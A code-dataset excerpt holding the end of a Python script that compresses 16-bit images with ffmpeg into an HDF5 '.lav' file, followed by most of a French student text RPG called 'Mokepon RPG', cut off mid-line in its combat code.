parts\r\n highsize = highcomp(highdir, crf, ffmpegpath, gpu)\r\n lowsize = lowcomp(lowdir, crf, ffmpegpath, gpu)\r\n print(\"crf = \"+crf+\" encoding complete\")\r\n\r\n # calculate compression ratio\r\n orisize = shape[0]*shape[1]*shape[2]*2\r\n wholemkvsize = highsize+lowsize\r\n cprratio = orisize/wholemkvsize\r\n print(\"The compress ratio is \"+str('%.4f' % cprratio))\r\n f = open(\"resize.txt\", \"r\")\r\n rsize = f.read()\r\n f.close()\r\n\r\n # create lav file\r\n metadata = [shape, crf, cprratio, rsize]\r\n savelav(fname, metadata)\r\n print(\"Encoding Complete\")\r\n\r\n\r\n# compression for higher 6 bits\r\ndef highcomp(hidir, crf, ffmpegpath, gpu):\r\n hmkv = os.path.join(os.getcwd(), \"high.mkv\")\r\n if gpu == 1:\r\n hcprcmd = [ffmpegpath,\r\n '-y',\r\n '-i', hidir,\r\n '-codec', 'hevc_nvenc',\r\n '-preset', 'lossless',\r\n '-pix_fmt', 'yuv420p',\r\n hmkv]\r\n else:\r\n hcprcmd = [ffmpegpath,\r\n '-y',\r\n '-i', hidir,\r\n '-codec', 'libx265',\r\n '-x265-params', 'lossless=1',\r\n hmkv]\r\n print(\"crf = \" + crf + \" high6 encoding start\")\r\n pipe = sp.Popen(hcprcmd, stdin=sp.PIPE, stderr=sp.PIPE, bufsize=10 ^ 12)\r\n pipe.communicate()\r\n print(\"crf = \" + crf + \" high6 encoding complete\")\r\n highsize = os.path.getsize(hcprcmd[-1])\r\n return highsize\r\n\r\n\r\n# compression for lower 10 bits\r\ndef lowcomp(lowdir, crf, ffmpegpath, gpu):\r\n lmkv = os.path.join(os.getcwd(), \"low.mkv\")\r\n if gpu == 1:\r\n lcprcmd = [ffmpegpath,\r\n '-y',\r\n '-i', lowdir,\r\n '-codec', 'hevc_nvenc',\r\n '-preset', 'medium',\r\n '-pix_fmt', 'p010le',\r\n '-qp', crf,\r\n lmkv]\r\n else:\r\n lcprcmd = [ffmpegpath,\r\n '-y',\r\n '-i', lowdir,\r\n '-codec', 'libx265',\r\n '-preset', 'medium',\r\n '-pix_fmt', 'yuv420p10le',\r\n '-x265-params', \"crf=\"+crf,\r\n lmkv]\r\n\r\n print(\"crf = \" + crf + \" low10 encoding start\")\r\n\r\n pipe = sp.Popen(lcprcmd, stdin=sp.PIPE, stderr=sp.PIPE, bufsize=10 ^ 12)\r\n pipe.communicate()\r\n print(\"crf = \" + crf + \" low10 encoding complete\")\r\n lowsize = os.path.getsize(lcprcmd[-1])\r\n return lowsize\r\n\r\n\r\n# create lav file\r\ndef savelav(filename, meta):\r\n lavfile = h5py.File(filename+\".lav\", \"w\")\r\n lf = open(\"low.mkv\", \"rb\")\r\n lowdata = lf.read()\r\n lf.close()\r\n hf = open('high.mkv', 'rb')\r\n highdata = hf.read()\r\n hf.close()\r\n\r\n hbdata = np.void(highdata)\r\n lbdata = np.void(lowdata)\r\n lavfile.create_dataset(\"high6\", dtype=hbdata.dtype, data=hbdata)\r\n lavfile.create_dataset(\"low10\", dtype=lbdata.dtype, data=lbdata)\r\n lavfile.attrs['shape'] = meta[0]\r\n lavfile.attrs['crf'] = meta[1]\r\n lavfile.attrs['decode mode'] = 0\r\n # only support H6L10 and 16-bit image compression currently\r\n lavfile.attrs['encoding mode'] = 'H6L10'\r\n lavfile.attrs['bit depth'] = '16-bit'\r\n lavfile.attrs['compression ratio'] = meta[2]\r\n lavfile.attrs['resize'] = meta[3]\r\n\r\n os.remove(\"low.mkv\")\r\n os.remove(\"high.mkv\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"lav_encode.py","file_name":"lav_encode.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"397216974","text":"import random\r\nimport sys\r\nimport os\r\nimport platform\r\nimport time\r\nimport webbrowser\r\nfrom colorama import init,Fore, Back, Style\r\nimport pickle\r\nfrom tqdm import tqdm\r\n\r\n\r\ndef clear_aff():\r\n os.system('cls' if os.name=='nt' else 'clear')\r\n\r\n\r\ndef printsave():\r\n print(\"-----------------------------------------------------\\n | Appuyez sur | s - Pour Sauvegarder et quitter | c - Pour continuer | \")\r\n\r\ndef menusave(player):\r\n printsave()\r\n val = input()\r\n if val == 's':\r\n pickle.dump(player, open(\"save.p\", \"wb\"))\r\n if val == 'c':\r\n return val\r\n\r\ndef menu():\r\n print(\"---------------------Mokepon RPG---------------------\")\r\n print(\"-----------------------------------------------------\")\r\n print(\" 1 : Créer une nouvelle partie \")\r\n print(\" 2 : Charger votre partie \")\r\n print(\" 3 : À propos du jeu \")\r\n print(\" 4 : Fermer le jeu \")\r\n chx = input()\r\n if chx == '1':\r\n progress = 0\r\n player = creationJoueurs()\r\n game(player,progress)\r\n elif chx == '2':\r\n player = pickle.load(open(\"save.p\", \"rb\"))\r\n progress = player[\"position\"]\r\n #barre\r\n blc = tqdm(total = 69420, position=0, leave=False)\r\n for j in range(69420):\r\n blc.set_description(\"... Votre partie charge ...\".format(j))\r\n blc.update(1)\r\n blc.close()\r\n #fin barre\r\n game(player,progress)\r\n elif chx == '3':\r\n about()\r\n elif chx == '4':\r\n sys.exit()\r\n else:\r\n print(\"error\")\r\n\r\ndef print_slow(txt):\r\n for x in txt:\r\n print(x, end='', flush=True) #affiche lettre par letre le str\r\n time.sleep(0.015)\r\n print() #retour a la ligne\r\n\r\ndef about():\r\n print_slow(\"Ce jeu est developpé par Antoine Azevedo Da Silva et Stanley Jamais dans le cadre du projet python pour l'école Hetic. Il reprend les bases que les jeux pokémons on pu introduire, surtout ceux de gameboy. \\n L'histoire est assez comique nous essayerons de vous faire venir à bout du Covid avec des monstres aux noms comiques.\\n Si jamais vous voulez nous faire savoir votre retour n'hésitez pas à nous contacter par le mail étudiant de l'école.\\n Nous vous souhaitons une agréable partie et une bonne dose de rire :).\")\r\n sys.stdout.flush()\r\n menu()\r\n\r\ndef maping(player,val):\r\n token=True\r\n if val == 1:\r\n map1(player) # changer player pos a chaques map\r\n menusave(player)\r\n val+=1\r\n \r\n if val == 2:\r\n map2(player)\r\n menusave(player)\r\n val+=1\r\n magasinChoix(player)\r\n \r\n if val == 3:\r\n map3(player)\r\n menusave(player)\r\n val+=1\r\n \r\n if val == 4:\r\n print(\"Bienvenue a Honk Ponk, une boutique est disponible souhaitez vous y aller \\n o - Oui n - Non//\")\r\n chx = input()\r\n while token==True:\r\n if chx == \"o\":\r\n magasinChoix(player)\r\n token=False\r\n elif chx ==\"n\":\r\n print(\"Vous continuez votre chemin.\")\r\n token=False\r\n else:\r\n print(\"Quoi ? Je n'ai pas compris ?\")\r\n map4(player)\r\n menusave(player)\r\n val+=1\r\n \r\n if val == 5:\r\n map5(player)\r\n menusave(player)\r\n val+=1\r\n \r\n if val == 6:\r\n map6(player)\r\n menusave(player)\r\n val+=1\r\n magasinChoix(player)\r\n \r\n if val == 7:\r\n boss(player)\r\n\r\n if val !=1 or val !=2 or val !=3 or val !=4 or val !=5 or val !=6 or val !=7:\r\n print(\"error 404\")\r\n\r\ndef game(player,progress):\r\n\r\n i=progress\r\n if progress == 0:\r\n auberge(player) # a mettre toute les 2maps + b4 boss\r\n magasinChoix(player) # a mettre entre r3/r4 + r7/r8 avec un message pour le dernier shop\r\n maping(player,1)\r\n while i < 8:\r\n maping(player,i)\r\n i+=1\r\n else:\r\n maping(player,progress+1)\r\n\r\ndef random_area():\r\n value=[\"Vous pénétrez dans la foret attention à vos miches\",\"Vous y trouver un tunnel et vous y glissez !\",\r\n \"Vous appercevez une silhouette au loin, vous décidez de la rattraper\",\r\n \"Cette coline semble donner un point de vue interessant, allez y.\",\r\n \"Cette sombre crevasse semble dangeureuse, j'espère pour vous qu'il n'y a pas de pythons en bas\",\r\n \"Une ville abandonnée du nom de Woolhanne se dresse devant vous, faites attention !\",\r\n \"Un pont suspendu est droit devant faites gaffe a vos pas pour pas faire craquer le pont\",\r\n \"Une incroyable cascade d'eau vous apparait, ne glissez pas sur les rochers\"]\r\n i=random.randint(0,len(value)-1)\r\n print(value[i])\r\n print(\"---------------------------\")\r\n time.sleep(1)\r\n\r\ndef intro(name): # OK\r\n print(\"Bienvenue à toi\", name,\r\n \"!\\nTon aventure ne fait que commencer et pourtant nous comptons déjà sur toi, car aujourd'hui dans le monde des moképon sévit une atroce maladie véhiculée par un bandit de la région, l'horrible Corvid.\\nPour t'aider dans ta quête afin de sauver notre monde, je vais t'offrir ton premier moképon ! \\nChoisis-le bien, ils ont tous leurs forces et faiblesses et tu ne pourras pas le changer une fois ton choix fait.\")\r\n time.sleep(1)\r\n\r\n\r\n# Inventaire Du joueur\r\n\r\ndef creationJoueurs(): # Crée le joueur, donne son nom, son argent, son inventaire, son mokepon (via la fct mokeponChoice)\r\n player = {}\r\n mokepon = {}\r\n player[\"argent\"] = 1000\r\n player[\"inventaire\"] = {}\r\n player[\"inventaire\"][\"soin\"] = 5\r\n player[\"inventaire\"][\"attaque\"] = 5\r\n player[\"inventaire\"][\"defense\"] = 5\r\n player[\"position\"] = 1\r\n player[\"name\"] = str(input(\"Quel est ton nom ?\"))\r\n intro(player.get(\"name\"))\r\n player[\"mokepon\"] = mokeponChoice(mokepon)\r\n print(\"Wow! Tu as choisi\", mokepon.get(\"name\"), \"très bon choix!\")\r\n return player\r\n\r\n\r\n# Inventaire Du joueur\r\ndef playerInventory(player): # Affiche les objets dans l'inventaire du joueur, et lui demande si il veux en use une\r\n verificationKey = 0\r\n potion = ' '\r\n testvie = \" \"\r\n while verificationKey == 0:\r\n print(\"Vous possedez dans votre inventaire:\\n\", player[\"inventaire\"][\"soin\"], \"potion de soin,\\n\",\r\n player[\"inventaire\"][\"attaque\"], \"potion d'attaque,\\net \", player[\"inventaire\"][\"defense\"],\r\n \"potion de defense\\n\")\r\n playerChoiceInventory = input(\"Que desirez-vous faire ?\\na - Prendre une potion de soin\\nb - Prendre une potion d'attaque\\nc - Prendre une potion de défense\\nd - Sortir\\n\")\r\n\r\n if playerChoiceInventory == 'a':\r\n potion = \"soin\"\r\n testvie = inventory(player, potion)\r\n verificationKey = 1\r\n elif playerChoiceInventory == 'b':\r\n potion = \"attaque\"\r\n testvie =\"attaque\"\r\n inventory(player, potion)\r\n verificationKey = 1\r\n elif playerChoiceInventory == 'c':\r\n potion = \"defense\"\r\n testvie = \"defense\"\r\n inventory(player, potion)\r\n verificationKey = 1\r\n elif playerChoiceInventory == 'd':\r\n return False\r\n elif playerChoiceInventory!='a' or playerChoiceInventory!='b' or playerChoiceInventory!='c' or playerChoiceInventory!='d':\r\n verificationKey = 0\r\n print(\"Tu n'as pas entrée une valeur correcte!\")\r\n\r\n if (testvie == 'soinerror'):\r\n verificationKey = 0\r\n return player\r\n\r\n\r\ndef inventory(player, potion): # Enleve l'objet de l'inventaire et ajoute la stat en plus\r\n if (player[\"inventaire\"][potion] >= 1):\r\n if potion == \"soin\":\r\n if (player[\"mokepon\"][\"hp\"] != player[\"mokepon\"][\"hpmax\"]):\r\n player[\"inventaire\"][potion] = player[\"inventaire\"][potion] - 1\r\n player[\"mokepon\"][\"hp\"] = soin(player[\"mokepon\"][\"hp\"], player[\"mokepon\"][\"hpmax\"])\r\n print(\"Votre\", player[\"mokepon\"][\"name\"], \" a desormais\", player[\"mokepon\"][\"hp\"], \"pv!\")\r\n else:\r\n print(\"Impossible, Il possede déja toute sa vie !\")\r\n return 'soinerror'\r\n\r\n else:\r\n player[\"inventaire\"][potion] = player[\"inventaire\"][potion] - 1\r\n player[\"mokepon\"][potion] = player[\"mokepon\"][potion] + 5\r\n print(\"Votre\", player[\"mokepon\"][\"name\"], \" a desormais\", player[\"mokepon\"][potion], \" points\", potion, '.')\r\n elif (player[\"inventaire\"][potion] < 1):\r\n print(\"Vous n'avez pas l'item en stock !\")\r\n else:\r\n print(\"Compris ! Retour a l'inventaire\")\r\n return player\r\n\r\n\r\n# Soin base\r\ndef soin(vie, vieMax): # Ajoute les pv en plus au mokepon si possible\r\n hp = vie\r\n hpMax = vieMax\r\n hpTmp = 0\r\n if hp < hpMax:\r\n hpTmp = hp + 20\r\n if hpTmp < hpMax:\r\n return hpTmp\r\n return hpMax\r\n\r\n\r\ndef rickroll():\r\n print('Ho non ! Un cul-de-sac !')\r\n website=\"https://destroykeaum.alwaysdata.net/assets/other/addon/rickroll.mp4\"\r\n webbrowser.open_new_tab(website)\r\n \r\n \r\ndef briller():\r\n print('Perdu lol enjoy')\r\n website = \"https://destroykeaum.alwaysdata.net/assets/other/addon/briller.mp4\"\r\n webbrowser.open_new_tab(website)\r\n \r\ndef felicitation():\r\n print(\"Félicitation tu as vaincu le grand Corvid !\")\r\n website = \"https://destroykeaum.alwaysdata.net/assets/other/addon/victory.mp4\"\r\n webbrowser.open_new_tab(website)\r\n\r\n\r\ndef interactionEnnemi(): # Genere un phrase de provoque de l'ia adverse\r\n nomDres = ['P-A', 'Joao-vc, le canard', 'Julien laperceuse', 'Anthoriz, le fils du soleil levant', 'Ouati bé',\r\n 'Maitre Pims le tenor', 'John Weak, le surpuissant', 'Jean Damien le rapide', 'NekFat, le rapide',\r\n 'Manu Micron, le bon eleve', 'Cyril Hamdoula, animateur', 'Meerajh Kalifa, la spéléologue', 'Antoine, le pdf']\r\n MiseEnGardeDres = [\"J'aime les shorts, ça garde mes genoux bien au frais\",\r\n \"Ha ha ! Je crois que tu as besoin d'un peu d'échauffement !\", \"C'que t'es faible! Hahaha!\",\r\n \"Tiens? Quelle bonne surprise, tu es là aussi?! Eh ben... Allez, viens prendre ta baffe, minable!\",\r\n \"j'vais t'casser en deux minab'. Ta maman te reconnaîtra qu'à la couleur de ton p'tit cartable!\",\r\n \"Oh, toi. Je vais t'en faire baver!\"]\r\n print(nomDres[random.randint(0, (len(nomDres) - 1))], '- \"',\r\n MiseEnGardeDres[random.randint(0, (len(MiseEnGardeDres) - 1))], '\"')\r\n\r\n\r\n\r\n# magasin (base) & auberge\r\n\r\n# auberge\r\ndef auberge(player): # Soigne le pokemon de 20pv\r\n player[\"mokepon\"][\"hp\"] = soin(player[\"mokepon\"][\"hp\"], player[\"mokepon\"][\"hpmax\"])\r\n print(\"Votre\", player[\"mokepon\"][\"name\"], \"s'est bien reposé, il a desormais\", player[\"mokepon\"][\"hp\"], \"pv!\")\r\n return player\r\n\r\n\r\n# magasin beta\r\n\r\ndef magasinChoix(player): # Propose l'achat de potion\r\n key=True\r\n print(\"Tu possède\", player[\"argent\"], \"crédits\")\r\n print(\"La potion de vie redonne 20 HP a ton mokepon, son prix est de 200 MokeDollars !\\nLa potion d'attaque donne 5 points d'attaque temporaire en plus a ton mokepon, son prix est de 200 MokeDollars !\\nLa potion de défense donne 5 points de defense temporaire en plus a ton mokepon, son prix est de 200 MokeDollars !\\nQue desirez-vous faire ?\")\r\n\r\n while key==True:\r\n verificationKey2 = 0\r\n \r\n potion = \"none\"\r\n achatPotion(player, choixPotion())\r\n rachat = input(\"Ce sera tout ? o - oui / n - non\\n\")\r\n if rachat == 'n':\r\n print(\"continuez\")\r\n elif rachat == 'o':\r\n key=False\r\n else:\r\n print(\"Pardon j'ai pas compris\")\r\n return player\r\n\r\n# Initiation du magasin\r\n\r\n\r\n# Choix de la potion a acheter\r\ndef choixPotion(): # Fait choisir au joueur quelle type de potion, il veux se servir ou acheter\r\n potion = 'none'\r\n verificationKey = 0\r\n while verificationKey == 0:\r\n playerChoiceInventory = input(\r\n \"\\na - Acheter une potion de soin\\nb - Acheter une potion d'attaque\\nc - Acheter une potion de défense\\nd - Sortir\\n\")\r\n if playerChoiceInventory == 'a':\r\n verificationKey = 1\r\n potion = \"soin\"\r\n elif playerChoiceInventory == 'b':\r\n verificationKey = 1\r\n potion = \"attaque\"\r\n elif playerChoiceInventory == 'c':\r\n verificationKey = 1\r\n potion = \"defense\"\r\n elif playerChoiceInventory == 'd':\r\n verificationKey = 1\r\n else:\r\n verificationKey = 0\r\n print(\"Tu n'as pas entrée une valeur correcte!\")\r\n return potion\r\n\r\n\r\n# Achat de la potion\r\ndef achatPotion(player, potion): # Retire le prix de la potion a la monnaie du joueurs\r\n verificationMoney = player.get(\"argent\") - 200\r\n if verificationMoney >= 0 and potion != \"none\":\r\n player[\"argent\"] = verificationMoney\r\n ajoutPotion(player, potion)\r\n print(\"Achat réussi !\")\r\n elif verificationMoney < 0:\r\n print(\"tu n'as pas assez de MokeDollars !\")\r\n return player\r\n\r\n\r\ndef ajoutPotion(player, potion): # Ajoute la potion a l'inventaire du joueur\r\n player[\"inventaire\"][potion] = int(player[\"inventaire\"][potion]) + 1\r\n return player\r\n\r\n\r\n# Annulation du bonus de dégats/défense\r\ndef annulationBonus(player): # Remet les stats du mokepon a la normale\r\n if (player[\"mokepon\"][\"attaque\"] > player[\"mokepon\"][\"attaquemax\"]) or (\r\n player[\"mokepon\"][\"defense\"] > player[\"mokepon\"][\"defensemax\"]):\r\n if (player[\"mokepon\"][\"attaque\"] > player[\"mokepon\"][\"attaquemax\"]):\r\n player[\"mokepon\"][\"attaque\"] = player[\"mokepon\"][\"attaquemax\"]\r\n if (player[\"mokepon\"][\"defense\"] > player[\"mokepon\"][\"defensemax\"]):\r\n player[\"mokepon\"][\"defense\"] = player[\"mokepon\"][\"defensemax\"]\r\n return player\r\n\r\n\r\n# choix du moképon\r\ndef mokeponChoice(mokepon): # Ajoute le nom, et les stats du mokepon du joueur\r\n verificationKey = 0\r\n listeDeNomMkpn = [\"Andynosaur\", \"Abysscyan\", \"Cagdosse\"]\r\n print(\"Laisse-moi te présenter ton futur compagnon,\")\r\n print(\"Andynosaur, le mokepon dinosaure !\")\r\n print(\"Abysscyan, le mokepon flottant !\")\r\n print(\"Cagdosse, le pokemon calcium !\")\r\n while verificationKey == 0:\r\n playerChoiceMkpnCh = input(\"Lequel choisis-tu ?\\na - Andynosaur\\nb - Abysscyan\\nc - Cagdosse\\n\")\r\n if ((playerChoiceMkpnCh == 'a') or (playerChoiceMkpnCh == 'b') or (playerChoiceMkpnCh == 'c')):\r\n if (playerChoiceMkpnCh == 'a'):\r\n mokepon[\"name\"] = listeDeNomMkpn[0]\r\n if (playerChoiceMkpnCh == 'b'):\r\n mokepon[\"name\"] = listeDeNomMkpn[1]\r\n if (playerChoiceMkpnCh == 'c'):\r\n mokepon[\"name\"] = listeDeNomMkpn[2]\r\n mokepon[\"hp\"] = 39\r\n mokepon[\"attaque\"] = 52\r\n mokepon[\"vitesse\"] = 65\r\n mokepon[\"vitessemax\"] = 65\r\n mokepon[\"attaquemax\"] = 53\r\n mokepon[\"defense\"] = 43\r\n mokepon[\"defensemax\"] = 45\r\n mokepon[\"hpmax\"] = 39\r\n mokepon[\"niveau\"] = 5\r\n mokepon[\"niveaumax\"] = 100\r\n mokepon[\"xp\"] = 125\r\n mokepon[\"xpmax\"] = 216\r\n verificationKey = 1\r\n return mokepon\r\n else:\r\n verificationKey = 0\r\n print(\"Tu n'as pas entrée une valeur correcte!\")\r\n\r\n\r\n# Creation mokepon adverse\r\ndef CreaMokeponEnnemi(mokeponEnnemi, niveauMonde): # Crée un mokepon ennemi, un nom, ses stats\r\n listeDeNom = [\"bajineganne\", \"Pouikpouik\", \"melanchiron\", \"logipeck\", \"Wumpus\", \"Closcasque\", \"Chiamommy\",\r\n \"Teteanos\", \"psyorisk\", \"Jeremimique\", \"fouini\", \"pytonne\", \"sarcamouche\", \"Maskarpe\", \"Hydroalcolo\",\r\n \"Linuksse\", \"Gel'Os\"]\r\n listeHp = [45, 50, 60, 70, 80] # 80\r\n listeAttaque = [49, 50, 62, 70, 82] # 100\r\n listeDefense = [49, 59, 63, 78, 83] # 123\r\n listeVitesse = [45, 50, 60, 70, 80] # 80\r\n listeNiveauMax = [11, 16, 24, 32, 38] # 50\r\n niveauMin = 6\r\n mokeponEnnemi[\"name\"] = listeDeNom[random.randint(0, (len(listeDeNom) - 1))]\r\n if(niveauMonde == 0):\r\n mokeponEnnemi[\"hp\"] = 45\r\n mokeponEnnemi[\"hpmax\"] = mokeponEnnemi[\"hp\"]\r\n mokeponEnnemi[\"attaque\"] = 49\r\n mokeponEnnemi[\"vitesse\"] = 45\r\n mokeponEnnemi[\"defense\"] = 49\r\n else:\r\n mokeponEnnemi[\"hp\"] = random.randint(listeHp[niveauMonde-1], listeHp[niveauMonde])\r\n mokeponEnnemi[\"hpmax\"] = mokeponEnnemi[\"hp\"]\r\n mokeponEnnemi[\"attaque\"] = random.randint(listeAttaque[niveauMonde-1], listeAttaque[niveauMonde])\r\n mokeponEnnemi[\"vitesse\"] = random.randint(listeVitesse[niveauMonde-1], listeVitesse[niveauMonde])\r\n mokeponEnnemi[\"defense\"] = random.randint(listeDefense[niveauMonde-1], listeDefense[niveauMonde])\r\n\r\n mokeponEnnemi[\"niveau\"] = random.randint(niveauMin, (random.randint((niveauMin + 1), listeNiveauMax[niveauMonde])))\r\n mokeponEnnemi[\"xp\"] = mokeponEnnemi[\"niveau\"] * mokeponEnnemi[\"niveau\"] * mokeponEnnemi[\"niveau\"]\r\n return mokeponEnnemi\r\n\r\n\r\ndef monnaieGagner(player): # Donne une quantité aleatoire d'argent au joueur\r\n ajout = random.randint(90, 120)\r\n player[\"argent\"] = player[\"argent\"] + ajout\r\n return ajout\r\n\r\n\r\ndef calculXpGagner(mokeponEnnemi): # Calcul l'xp gagnée par le joueurs suite au combat\r\n exp = int(mokeponEnnemi[\"xp\"] * (mokeponEnnemi[\"niveau\"] / 7))\r\n print(\"Felicitation, ton moképon à gagner\", exp, \"points d'experience !\")\r\n return exp\r\n\r\n\r\ndef addXp(player, mokeponEnnemi): # Ajoute l'xp au mokepon\r\n player[\"mokepon\"][\"xp\"] = player[\"mokepon\"][\"xp\"] + calculXpGagner(mokeponEnnemi)\r\n print(\"Il a désormais\", player[\"mokepon\"][\"xp\"], \"point d'xp !\")\r\n while (player[\"mokepon\"][\"xp\"] >= player[\"mokepon\"][\"xpmax\"]):\r\n monteeXp(player)\r\n if (player[\"mokepon\"][\"niveau\"] == 16):\r\n augmentationStats(player, 0)\r\n if (player[\"mokepon\"][\"niveau\"] == 36):\r\n augmentationStats(player, 1)\r\n if (player[\"mokepon\"][\"niveau\"] == 40):\r\n augmentationStats(player, 2)\r\n print(\"Super! ton\", player[\"mokepon\"][\"name\"], \"est passé niveau\", player[\"mokepon\"][\"niveau\"], \"!\")\r\n\r\n\r\ndef monteeXp(player): # Fait evoluer le mokepon du joueurs\r\n if (player[\"mokepon\"][\"xp\"] >= player[\"mokepon\"][\"xpmax\"]):\r\n player[\"mokepon\"][\"xpmax\"] = (player[\"mokepon\"][\"niveau\"] + 1) * (player[\"mokepon\"][\"niveau\"] + 1) * (\r\n player[\"mokepon\"][\"niveau\"] + 1)\r\n player[\"mokepon\"][\"niveau\"] = player[\"mokepon\"][\"niveau\"] + 1\r\n\r\n\r\ndef augmentationStats(player, evo): # Amelioration des stats du mokepon suite a une evolution\r\n listeAtk = [64, 84, 130]\r\n listDfs = [58, 78, 111]\r\n listHp = [58, 78, 78]\r\n listVit = [80, 100, 78]\r\n player[\"mokepon\"][\"hp\"] = listHp[evo]\r\n player[\"mokepon\"][\"hpmax\"] = listHp[evo]\r\n player[\"mokepon\"][\"attaque\"] = listeAtk[evo]\r\n player[\"mokepon\"][\"attaquemax\"] = listeAtk[evo]\r\n player[\"mokepon\"][\"vitesse\"] = listVit[evo]\r\n player[\"mokepon\"][\"vitessemax\"] = listVit[evo]\r\n player[\"mokepon\"][\"defense\"] = listDfs[evo]\r\n player[\"mokepon\"][\"defensemax\"] = listDfs[evo]\r\n print(\"Félicitation, ton moképon évolue niveau\", player[\"mokepon\"][\"niveau\"], \"il a desormais\", player[\"mokepon\"][\"attaque\"], \"point d'attaques\",player[\"mokepon\"][\"defense\"], \"points de défense et \",player[\"mokepon\"][\"hp\"], \"points de vie\")\r\n\r\n\r\ndef attaqueMokepon(mokeponCible, valAttaque, valDefense,\r\n nameAttaquant): # Lance l'attaque du personnage, et affiche le nmb de point enlever, gere les CRIT et les MISS\r\n percentOne = random.randint(3, 25)\r\n rnd = random.randint(0, 100)\r\n if ((rnd >= 0) and (rnd <= 5)):\r\n puissanceAtk = int(critique(valAttaque, percentOne) - valDefense)\r\n print(\"COUP CRITIQUE !\")\r\n elif ((rnd >= 95) and (rnd <= 100)):\r\n print(\"L'attaque a échoué !\")\r\n return mokeponCible\r\n else:\r\n puissanceAtk = int(valAttaque - valDefense)\r\n if(puissanceAtk <= 0):\r\n puissanceAtk = 5\r\n mokeponCible = int(mokeponCible - puissanceAtk)\r\n print(nameAttaquant, \" attaque de \", puissanceAtk, \" points !\")\r\n return mokeponCible\r\n\r\n\r\ndef critique(atk, mult): # Fct de calcul du coup critique\r\n return atk + (atk * ((mult / 100)))\r\n\r\n\r\ndef attaqueIa(mokeponEnnemi, player): # Si l'ennemi attaque, enleve les pts au mokepon du joueurs ou se soigne\r\n rndCombat = random.randint(1, 100)\r\n if rndCombat <= 95 and rndCombat > 0:\r\n player[\"mokepon\"][\"hp\"] = attaqueMokepon(player[\"mokepon\"][\"hp\"], mokeponEnnemi[\"attaque\"],\r\n player[\"mokepon\"][\"defense\"], mokeponEnnemi[\"name\"])\r\n elif rndCombat <= 100 and rndCombat > 95:\r\n mokeponEnnemi[\"hp\"] = soin(mokeponEnnemi[\"hp\"], mokeponEnnemi[\"hpmax\"])\r\n print(mokeponEnnemi[\"name\"], \" s'est soigné de 20 PV, il a désormais \", mokeponEnnemi[\"hp\"],\r\n \"pv !\")\r\n else:\r\n print(\"error\")\r\n if player[\"mokepon\"][\"hp\"] <= 0:\r\n return \"G-0\"\r\n else:\r\n return \"good\"\r\n\r\n\r\ndef choixCombatJoueurs(boss): # Dis le choix du joueurs pour son action de combat\r\n verificationKeyA = 1\r\n while verificationKeyA == 1:\r\n print(\"Que souhaitez vous faire?\")\r\n playerChoice = input(\"\\na - Attaquer\\nb - Voir inventaire\\nc - Fuir !\\n\")\r\n if playerChoice == 'a':\r\n verificationKeyA = 0\r\n return 'atk'\r\n elif playerChoice == 'b':\r\n verificationKeyA = 0\r\n return 'inv'\r\n elif (playerChoice == 'c') and (boss == False):\r\n verificationKeyA = 0\r\n return 'run'\r\n else:\r\n verificationKeyA = 1\r\n print(\"Tu n'as pas entrée une valeur correcte!\")\r\n\r\n\r\n\r\ndef attaqueJoueurs(player,\r\n mokeponEnnemi): # Si le joueurs attaque, enleve les pts de vie au mokepon adverse, et fait evoluer le mokepon si passage de palier\r\n mokeponEnnemi[\"hp\"] = attaqueMokepon(mokeponEnnemi[\"hp\"], player[\"mokepon\"][\"attaque\"],\r\n mokeponEnnemi[\"defense\"], player[\"mokepon\"][\"name\"])\r\n if mokeponEnnemi[\"hp\"] <= 0:\r\n if ((player[\"mokepon\"][\"niveau\"] + 1) <= player[\"mokepon\"][\"niveaumax\"]):\r\n addXp(player, mokeponEnnemi)\r\n print(\"Ce combat t'as fait gagné\", monnaieGagner(player), \"Mokedollars !\")\r\n return \"IA-Dead\"\r\n else:\r\n return \"good\"\r\n\r\n\r\ndef textApparitionEnnemi(mokeponEnnemi): # Texte aleatoire d'appartiton dennemi\r\n texteMiseEnGarde = ['Attention', 'Prend garde', 'Mefie toi', 'Sois fort', 'Prepare tes attaques', 'Fait gaffe']\r\n texteCorpUn = ['sauvage', 'terrifiant', 'monstrueux', 'immonde']\r\n texteCorpDeux = ['apparait', 'surgis', 'debarque', 'est la']\r\n\r\n print(texteMiseEnGarde[random.randint(0, (len(texteMiseEnGarde) - 1))], 'un', mokeponEnnemi['name'], \"niveau\",\r\n mokeponEnnemi['niveau'], texteCorpUn[random.randint(0, (len(texteCorpUn) - 1))],\r\n texteCorpDeux[random.randint(0, (len(texteCorpDeux) - 1))], '!')\r\n\r\n\r\ndef affichagePV(player, mokeponEnnemi, ia): # Affiche les pv restant du mokepon (ennemi ou kjpueur)\r\n if (ia):\r\n if (player[\"mokepon\"][\"hp\"] < 0):\r\n player[\"mokepon\"][\"hp\"] = 0\r\n if (player[\"mokepon\"][\"hp\"] > 0):\r\n print(\"Il reste à ton\", player[\"mokepon\"][\"name\"], \",\", player[\"mokepon\"][\"hp\"], \"PV\")\r\n else:\r\n if (mokeponEnnemi[\"hp\"] <= 0):\r\n print(\"Super, tu as térrassé le\", mokeponEnnemi[\"name\"], \"!\")\r\n mokeponEnnemi[\"hp\"] = 0\r\n if (mokeponEnnemi[\"hp\"] > 0):\r\n print(\"Il reste au\", mokeponEnnemi[\"name\"], \"ennemi,\", mokeponEnnemi[\"hp\"], \"PV\")\r\n\r\n\r\ndef roulementDesTours(player, niv, boss,mobBoss): # Fct qui declenche un combat, en fct de la vitesse du mokepon, celui ci attk en 1er ou pas.\r\n death = \"start\"\r\n tours = 1\r\n verificationKeyCJ = 1\r\n mokeponEnnemi = {}\r\n if (boss):\r\n listeDeNom = [\"bajineganne\", \"Pouikpouik\", \"melanchiron\"]\r\n listeHp = [75, 80, 85] # 80\r\n listeAttaque = [90, 100, 95] # 100\r\n listeDefense = [123, 100, 115] # 123\r\n listeVitesse = [80, 90, 80] # 80\r\n niveauBoss = 50 # 50\r\n mokeponEnnemi[\"name\"] = listeDeNom[mobBoss]\r\n mokeponEnnemi[\"hp\"] = listeHp[mobBoss]\r\n mokeponEnnemi[\"hpmax\"] = mokeponEnnemi[\"hp\"]\r\n mokeponEnnemi[\"attaque\"] = listeAttaque[mobBoss]\r\n mokeponEnnemi[\"vitesse\"] = listeVitesse[mobBoss]\r\n mokeponEnnemi[\"defense\"] = listeDefense[mobBoss]\r\n mokeponEnnemi[\"niveau\"] = niveauBoss\r\n mokeponEnnemi[\"xp\"] = 